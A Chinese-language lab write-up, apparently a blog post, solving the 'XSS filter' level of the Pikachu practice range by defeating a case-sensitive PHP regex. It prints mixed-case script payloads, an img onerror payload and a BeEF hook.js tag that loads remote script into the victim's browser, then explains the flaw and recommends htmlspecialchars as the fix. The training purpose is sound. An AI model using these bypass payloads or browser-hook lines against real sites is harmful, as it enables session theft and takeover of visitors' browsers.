Pikachu靶场通关笔记(11) — XSS之过滤 (正则大小写绕过)

31次阅读
没有评论

前言:
在之前的关卡中,我们面对的大多是“无防御”状态。但在真实环境中,开发者通常会做一些基础的防护。本关“XSS 之过滤”就是一个很好的例子,它展示了当防御规则写得不够严谨时,攻击者是如何轻松绕过的。

1. 探测与测试

进入关卡,看到一个输入框,提示:“别说这些…的话”。
我们先尝试最标准的 Payload:

<script>alert(1)</script>

提交后发现,页面虽然回显了内容,但是提交的<script> 标签不见了,并且脚本并没有执行。显然,后端对输入内容进行了某种过滤。

Pikachu 靶场通关笔记(11) — XSS 之过滤 (正则大小写绕过)

2. 绕过思路:大小写混淆

既然存在过滤,我们需要猜测过滤的逻辑。常见的过滤手段有:

  1. 关键词黑名单:把 script 替换为空。
  2. 正则匹配:匹配 <script> 结构。

如果是基于黑名单或不严谨的正则,最常见的绕过方式就是 改变大小写。HTML 标签本身是不区分大小写的,<SCRIPT><script> 在浏览器眼里是一样的,但在代码过滤器眼里可能是两个完全不同的字符串。

构造 Payload (联动 BeEF):

<ScRIpt src="http://localhost:3000/hook.js"></sCRIPt>

或者简单的弹窗测试:

<SCRIPT>alert('xss')</SCRIPT>

3. 攻击实施

将上述混合大小写的 Payload 填入输入框并提交。
页面刷新后,查看网页源码,发现我们的标签完好无损地保留了下来!

Pikachu 靶场通关笔记(11) — XSS 之过滤 (正则大小写绕过)

此时查看 BeEF 控制台,目标主机已成功上线。

Pikachu 靶场通关笔记(11) — XSS 之过滤 (正则大小写绕过)

4. 源码深度解析

为什么这么简单的手段就能绕过?看看后端的 PHP 源码:

$html = '';
if(isset($_GET['submit']) && $_GET['message'] != null){
    // 关键漏洞点:正则替换逻辑
    $message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);

    if($message == 'yes'){$html.="<p> 那就去人民广场一个人坐一会儿吧!</p>";}else{
        // 直接回显处理后的 message
        $html.="<p> 别说这些'{$message}'的话, 不要怕, 就是干!</p>";
    }
}

正则分析:
/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/

这个正则表达式看起来写得很复杂,试图匹配 < 开头,中间夹杂任意字符,最后拼成 script 的字符串。但它犯了一个致命错误:

  1. 缺省大小写敏感 :PHP 的 preg_replace 默认是 区分大小写 的。如果不加 i 修饰符(例如 /.../i),它只匹配小写的 script
  2. 绕过原理:当我们输入 <ScRIpt> 时,正则中的 s 无法匹配大写的 S(或者 R 无法匹配 r),导致正则匹配失败。匹配失败意味着“没有发现恶意代码”,于是 $message 原样保留了我们的 Payload。

其他绕过方式
由于该正则只死死盯住了 script 这个单词,我们完全可以使用其他标签绕过,例如:

<img src=x onerror=alert(1)>

这也印证了“黑名单”机制往往是不可靠的。

5. 总结与修复

漏洞总结:
本关演示了 大小写敏感 导致的正则过滤失效。这是很多初级 WAF (Web 应用防火墙) 或自研过滤脚本常犯的错误。

修复建议:

  1. 不推荐:仅仅加上 /i 修饰符(如 preg_replace('/<script/i', '', ...))。因为黑客还可以用 <img onerror><svg onload> 等几百种方式绕过。
  2. 推荐 :使用白名单机制或实体编码。
    php // 将特殊字符转换为 HTML 实体,彻底阻断 HTML 标签的解析 $message = htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');
    只有将 < 转化为 &lt;> 转化为 &gt;,才是根治 XSS 的通用良方。
正文完
 0
评论(没有评论)